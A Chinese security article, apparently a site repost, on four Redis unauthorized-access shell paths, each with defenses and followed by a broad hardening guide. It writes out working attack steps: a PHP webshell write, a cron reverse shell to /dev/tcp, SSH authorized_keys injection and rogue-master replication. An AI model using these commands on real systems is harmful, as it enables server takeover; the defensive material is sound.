redis数据库的四种取得 shell方法

 Redis作为高性能内存数据库,若配置不当(特别是未授权访问),将面临极高安全风险。攻击者可利用漏洞实现远程代码执行(GetShell),严重威胁数据安全与服务器控制权。本文深入剖析此类漏洞的核心原理与攻击路径,并重点提供全面、有效的加固方案,帮助开发者和运维人员构建安全的Redis环境。 

当Redis服务满足以下条件时,会有shell方法:

1.  绑定公网IP: `bind 0.0.0.0` 或未正确限制绑定地址。
2.  缺乏认证: 未设置 `requirepass` 或使用弱密码。
3.  权限过高: Redis进程用户拥有对关键系统目录(如Web根目录、Cron目录、SSH目录)的写入权限。
4.  高危命令未禁用: `CONFIG`, `SAVE`, `SLAVEOF` 等命令可被攻击者利用。

攻击者一旦通过网络访问到未授权Redis服务,即可尝试多种路径实现GetShell。

 攻击路径分析与防御方案

 路径一:Web目录写入恶意文件 (WebShell)

   原理简述: 攻击者利用`CONFIG SET`命令修改Redis数据持久化路径(`dir`)和文件名(`dbfilename`),指向Web服务器目录(如`/var/www/html`),并将恶意代码(如PHP WebShell)作为键值写入数据库,最后通过`SAVE`命令将数据持久化到磁盘文件。访问该Web文件即可执行任意命令。

1.连接Redis​

使用redis-cli连接目标Redis:

redis-cli -h 目标IP -p 6379
2. 修改Redis配置​

通过CONFIG SET命令设置数据库存储路径和文件名:

CONFIG SET dir /var/www/html # 修改存储路径为Web目录CONFIG SET dbfilename shell.php # 设置文件名为shell.ph
3. 写入恶意脚本​

使用SET命令写入PHP WebShell内容:

SET shell "<?php system($_GET['cmd']);?>"
4. 保存配置​

执行SAVE命令将数据持久化到磁盘:

SAVE

此时/var/www/html/shell.php文件已生成,可通过浏览器访问http://目标IP/shell.php?cmd=whoami验证。

   防御关键点:
禁止Redis写入Web目录: 严格限制Redis进程用户权限,确保其无权访问Web根目录及其子目录。
禁用高危命令: 在`redis.conf`中禁用`CONFIG`和`SAVE`命令。
```conf
rename-command CONFIG ""
rename-command SAVE ""   或根据业务需求重命名为复杂字符串
```
隔离部署: Redis服务应与Web应用服务器部署在不同的安全域或容器中。

方法二:利用定时任务(Cron)执行反弹Shell

   原理简述: 攻击者修改Redis持久化路径指向系统定时任务目录(如`/var/spool/cron/`),设置文件名(如`root`),并将包含反弹Shell命令的字符串作为键值写入。`SAVE`后,系统会定时执行该命令,攻击者监听端口即可获得Shell。

1.. 连接Redis并修改配置​​

redis-cli -h 目标IP -p 6379CONFIG SET dir /var/spool/cron/  # 修改存储路径为cron目录CONFIG SET dbfilename root      # 文件名为root(针对root用户的cron)

2. 写入反弹Shell命令​​

反弹Shell到攻击机(假设攻击机IP为192.168.1.100,端口4444):

SET root "\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.1.100/4444 0>&1\n\n"

    ​​注意​​:

        \n\n用于避免破坏cron文件格式。
定时任务每分钟执行一次,连接攻击机。

3. 保存配置​​

SAVE

攻击机监听端口:

nc -lvvp 4444

若连接成功,可执行任意命令(如whoami)。

   防御关键点:
严格限制目录权限: Redis进程用户绝对禁止拥有对`/var/spool/cron/`及其下文件的写入权限。使用最小权限原则运行Redis(如专用低权用户`redis`)。
监控Cron目录: 部署文件完整性监控或安全Agent,监控`/var/spool/cron/`目录的异常变更。
禁用`SAVE`命令: 同上。

方法三:写入SSH公钥实现免密登录

   原理简述: 攻击者修改Redis持久化路径指向目标用户(通常是root)的`.ssh`目录,设置文件名为`authorized_keys`,并将攻击者的公钥作为键值写入。`SAVE`后,攻击者即可使用对应私钥直接SSH登录服务器。

1. 生成SSH密钥对​

在攻击机上生成密钥对(若已有可跳过):

ssh-keygen -t rsa  # 默认保存到~/.ssh/id_rsa.pub
2. 连接Redis并修改配置​
redis-cli -h 目标IP -p 6379CONFIG SET dir /root/.ssh/ # 修改存储路径为.ssh目录CONFIG SET dbfilename authorized_keys # 文件名为authorized_keys
3. 写入公钥​

将公钥内容写入Redis(需替换实际公钥):

SET authorized_keys "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQ...攻击机公钥内容..."
4. 保存配置​
SAVE

攻击机直接SSH登录目标服务器:

ssh root@目标IP

无需密码即可登录。

   防御关键点:
保护.ssh目录: Redis进程用户必须无权访问任何用户的`.ssh`目录(尤其是`/root/.ssh/`)。确保`.ssh`目录权限为`700`,`authorized_keys`文件权限为`600`。
禁用`SAVE`命令: 同上。
考虑禁用密码登录: 对于关键服务器,可配置SSH仅允许密钥认证。

方法四:恶意主从复制 (Master-Slave Replication)

   原理简述: Redis主从复制时,从节点会加载主节点生成的RDB文件。攻击者搭建恶意Redis主节点,构造包含恶意模块或特殊载荷的RDB文件。诱骗目标Redis(未授权)执行`SLAVEOF`命令指向恶意主节点后,目标Redis加载恶意RDB文件时触发代码执行。

1. 攻击机生成恶意RDB文件​​

    使用redis-rogue-server工具(需Python环境)生成包含恶意模块的RDB文件:

    git clone https://github.com/n0b0dyCN/redis-rogue-server.gitcd redis-rogue-serverpip3 install -r requirements.txtpython3 redis-rogue-server.py --rhost 目标IP --lhost 攻击机IP

  工具会自动生成恶意RDB文件并启动监听。

2. 配置目标Redis为主从复制​​

在攻击机上执行:

   redis-cli -h 目标IP -p 6379SLAVEOF 攻击机IP 6379  # 将目标Redis设为从节点,连接攻击机CONFIG SET masterauth ""  # 若主节点有密码需配置(此处无密码)

目标Redis会尝试从攻击机拉取RDB文件并加载,触发恶意代码执行。

3. 获取反弹Shell​​

攻击机监听端口(如4444):

nc -lvvp 4444

   防御关键点:
禁用未授权Redis的主从复制: 对于暴露在风险中的Redis,禁止其作为从节点连接不可信主节点。可通过配置或防火墙规则限制。
设置`masterauth`: 如果必须使用主从复制,主节点必须设置强密码,并在从节点配置`masterauth`。
设置`replica-read-only yes`: 确保从节点是只读的(默认行为)。
及时升级: 保持Redis版本为最新,修复已知的漏洞。

 三、 redis预防shell

1.  最小化网络暴露 
禁止公网绑定: `bind 127.0.0.1` (或内网可信IP),绝对避免 `bind 0.0.0.0`。
防火墙封锁: 使用系统防火墙或云安全组,严格限制访问Redis端口(默认6379)的源IP,仅允许必要的应用服务器或管理IP访问。

2.  启用强密码认证:
在`redis.conf`中设置复杂密码:`requirepass YourVeryStrongPasswordHere!@`。密码需足够长(>16字符)、包含大小写字母、数字、特殊字符,并定期更换。

3.  以最小权限运行:
创建专用低权限用户(如`redis`)来运行Redis服务:`useradd -r -s /bin/false redis`。
确保该用户仅拥有操作Redis自身数据文件和配置文件的必要权限,无权写入任何系统目录或敏感目录。

4.  禁用高危命令:
在`redis.conf`中禁用或重命名关键命令:
```conf
rename-command FLUSHALL    清空所有数据库
rename-command CONFIG    修改配置
rename-command SHUTDOWN     关闭服务器
rename-command SAVE            阻塞式持久化 (考虑业务需求)
rename-command BGSAVE          后台持久化 (考虑业务需求)
rename-command SLAVEOF         主从复制
rename-command EVAL            执行Lua脚本
如需使用,重命名为复杂不易猜测的名字
rename-command CONFIG "S0m3R4nd0mUnGu3$$4bl3Str1ng"
```

5.  启用保护模式: `protected-mode yes` (默认开启)。当未设置`bind`且没有密码时,此模式会拒绝外部连接。

6.  配置文件和目录权限:
确保`redis.conf`及Redis数据目录(`dir`)的权限严格,仅允许Redis用户和必要管理员访问。
`chown -R redis:redis /path/to/redis/data`
`chmod 700 /path/to/redis/data`
`chmod 600 /path/to/redis/redis.conf`

7.  启用日志记录与监控:
配置`logfile`路径和`loglevel notice` (或`warning`)。
集中收集和分析Redis日志,监控异常登录尝试、高危命令执行(如果未被禁用)、配置变更等。
使用Prometheus+Grafana或云监控服务监控Redis性能指标。

8.  定期更新与打补丁: 关注Redis官方安全公告,及时升级到稳定版本。

9.  安全审计:
定期使用`redis-cli -a yourpassword --no-auth-warning CONFIG GET ` (或使用其他安全工具)审计配置项,检查是否有未授权的修改。
审计系统关键目录(`/var/www/`, `/var/spool/cron/`, `~/.ssh/`)的文件列表和权限。

 四、 总结

Redis的未授权访问漏洞是极其严重的安全隐患,直接导致服务器被完全控制。防御的核心在于“阻断攻击路径”和“最小化风险暴露”:

1.  网络隔离: 绝不暴露在公网,严格控制访问源。
2.  强认证: 必须设置复杂密码。
3.  最小权限: Redis进程权限必须严格受限。
4.  命令管控: 禁用或重命名高危命令(特别是`CONFIG`, `SAVE`, `SLAVEOF`)。
5.  纵深防御: 结合防火墙、权限控制、日志监控、定期审计等多层防护。

通过实施上述全面的安全加固措施,可以有效抵御利用Redis未授权访问漏洞进行的GetShell攻击,保障Redis服务及底层服务器的安全稳定运行。安全配置应作为Redis部署的标准步骤,而非事后补救措施。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/web/90961.shtml
繁体地址,请注明出处:http://hk.pswp.cn/web/90961.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

墨者:SQL过滤字符后手工绕过漏洞测试(万能口令)

1. 墨者学院&#xff1a;SQL过滤字符后手工绕过漏洞测试(万能口令)&#x1f680; 2. 漏洞背景分析&#x1f50d; 近期发现某登录系统存在SQL注入漏洞&#xff0c;攻击者可通过构造特殊用户名admin,a,a)#绕过身份验证。本文将深入解析其工作原理&#xff0c;并演示完整渗透测试流…

Kafka 顺序消费实现与优化策略

在 Apache Kafka 中&#xff0c;实现顺序消费需要从 Kafka 的架构和特性入手&#xff0c;因为 Kafka 本身是分布式的消息系统&#xff0c;默认情况下并不完全保证全局消息的顺序消费&#xff0c;但可以通过特定配置和设计来实现局部或完全的顺序消费。以下是实现 Kafka 顺序消费…

CSP-J 2022_第三题逻辑表达式

题目 逻辑表达式是计算机科学中的重要概念和工具&#xff0c;包含逻辑值、逻辑运算、逻辑运算优先级等内容。 在一个逻辑表达式中&#xff0c;元素的值只有两种可能&#xff1a;0&#xff08;表示假&#xff09;和 1&#xff08;表示真&#xff09;。元素之间有多种可能的逻辑运…

从释永信事件看“积善“与“积恶“的人生辩证法

博客目录起心动念皆是因&#xff0c;当下所受皆是果。"起心动念皆是因&#xff0c;当下所受皆是果。"这句古老的智慧箴言&#xff0c;在少林寺方丈释永信涉嫌违法被调查的事件中得到了令人唏嘘的印证。一位本应六根清净、持戒修行的佛门领袖&#xff0c;却深陷贪腐丑…

图片格式转换

文章目录 背景目标实现下载 背景 格式碎片化问题 行业标准差异&#xff1a;不同领域常用格式各异&#xff08;如设计界用PSD/TIFF&#xff0c;网页用JPG/PNG/WEBP&#xff0c;系统图标用ICO/ICNS&#xff09;。 设备兼容性&#xff1a;老旧设备可能不支持WEBP&#xff0c;专业…

Flutter实现Android原生相机拍照

方法1&#xff1a;使用Flutter的camera插件&#xff08;完整实现&#xff09; 1. 完整依赖与权限配置 # pubspec.yaml dependencies:flutter:sdk: fluttercamera: ^0.10.52path_provider: ^2.0.15 # 用于获取存储路径path: ^1.8.3 # 用于路径操作permission_handler:…

记录几个SystemVerilog的语法——随机

1. 随机稳定性(random stability)随机稳定性是指每个线程(thread)或对象(object)的random number generator(RNG)是私有的&#xff0c;一个线程返回的随机值序列与其他线程或对象的RNG是无关的。随机稳定性适用于以下情况&#xff1a;系统随机方法调用&#xff1a;$urandom()和…

初识 docker [下] 项目部署

项目部署Dockerfile构建镜像DockerCompose基本语法基础命令项目部署 前面我们一直在使用别人准备好的镜像&#xff0c;那如果我要部署一个Java项目&#xff0c;把它打包为一个镜像该怎么做呢&#xff1f; …省略一万字 站在巨人的肩膀上更适合我们普通人,所以直接介绍两种简单…

Android15广播ANR的源码流程分析

Android15的广播ANR源码流程跟了下实际代码的流程&#xff0c;大概如下哈&#xff1a;App.sendBroadcast() // 应用发起广播→ AMS.broadcastIntentWithFeature() // 通过Binder IPC进入system_server进程→ AMS.broadcastIntentLocked() // 权限校验广播分类&#xff08;前…

密码学中的概率论与统计学:从频率分析到现代密码攻击

在密码学的攻防博弈中&#xff0c;概率论与统计学始终是破解密码的“利器”。从古典密码时期通过字母频率推测凯撒密码的密钥&#xff0c;到现代利用线性偏差破解DES的线性密码分析&#xff0c;再到侧信道攻击中通过功耗数据的统计特性还原密钥&#xff0c;统计思维贯穿了密码分…

力扣刷题977——有序数组的平方

977. 有序数组的平方 题目&#xff1a; 给你一个按 非递减顺序 排序的整数数组 nums&#xff0c;返回 每个数字的平方 组成的新数组&#xff0c;要求也按 非递减顺序 排序。示例 1&#xff1a; 输入&#xff1a;nums [-4,-1,0,3,10] 输出&#xff1a;[0,1,9,16,100] 解释&…

应用加速游戏盾的安全作用

在数字娱乐产业蓬勃发展的今天&#xff0c;游戏已从单纯的娱乐工具演变为连接全球数十亿用户的社交平台与文化载体。然而&#xff0c;伴随游戏市场的指数级增长&#xff0c;网络攻击的频率与复杂性也呈爆发式上升。从DDoS攻击导致服务器瘫痪&#xff0c;到外挂程序破坏公平竞技…

linux安装zsh,oh-my-zsh,配置zsh主题及插件的方法

这是一份非常详细的指南&#xff0c;带你一步步在 Linux 系统中安装 Zsh、配置主题和安装插件。 Zsh&#xff08;Z Shell&#xff09;是一个功能强大的 Shell&#xff0c;相比于大多数 Linux 发行版默认的 Bash&#xff0c;它提供了更强的自定义能力、更智能的自动补全、更漂亮…

【设计模式系列】策略模式vs模板模式

策略模式是什么&#xff1f;如何定义并封装一系列算法策略模式 (Strategy Pattern)模板模式 (Template Pattern)模板模式与策略模式的深度对比与区分混合使用两种模式的场景策略模式 (Strategy Pattern) 应用场景&#xff1a;当需要根据不同条件选择不同算法或行为时&#xff…

aigc(1.1) opensora-2.0

open sora-2.0相关链接: arxiv链接 huggingface页面 HunyuanVideo VAE open sora2.0的VAE模型复用了HunyuanVideo的3D VAE,HunyuanVideo的arxiv链接。下图来自论文,可见VAE是一个因果注意力的3D结构。在配图左侧,视频会被编码为video token序列,而在配图右侧,去噪的vide…

Linux驱动21 --- FFMPEG 音频 API

目录 一、FFMPEG 音频 API 1.1 解码步骤 创建核心上下文指针 打开输入流 获取输入流 获取解码器 初始化解码器 创建输入流指针 创建输出流指针 初始化 SDL 配置音频参数 打开音频设备 获取一帧数据 发送给解码器 从解码器获取数据 开辟数据空间 初始化内存 音频重采样…

《计算机“十万个为什么”》之 [特殊字符] 序列化与反序列化:数据打包的奇妙之旅 ✈️

《计算机“十万个为什么”》之 &#x1f4e6; 序列化与反序列化&#xff1a;数据打包的奇妙之旅 ✈️欢迎来到计算机“十万个为什么”系列&#xff01; 本文将以「序列化与反序列化」为主题&#xff0c;深入探讨计算机世界中数据的打包与解包过程。 让我们一起解开数据的神秘面…

机器学习与深度学习评价指标

机器学习与深度学习评价指标完全指南 📊 为什么需要评价指标? 想象你是一位医生,需要判断一个诊断模型的好坏。如果模型说"这个病人有癌症",你需要知道: 这个判断有多准确? 会不会漏掉真正的癌症患者? 会不会误诊健康的人? 评价指标就像是给AI模型打分的&…

Hugging Face-环境配置

打开anaconda promptconda activate pytorchpip install -i https://pypi.tuna.tsinghua.edu.cn/simple transformers datasets tokenizerspycharm找到pytorch下的python.exe#将模型下载到本地调用 from transformers import AutoModelForCausalLM,AutoTokenizer#将模型和分词工…

cnn中池化层作用

一、池化层概述 在卷积神经网络中&#xff0c;池化层是核心组件之一&#xff0c;主要作用是逐步降低特征图的空间尺寸即宽和高&#xff0c;从而减少计算量、控制过拟合并增强模型的鲁棒性。 核心作用 降维与减少计算量 压缩特征图的尺寸&#xff0c;显著减少后续层的参数数量和…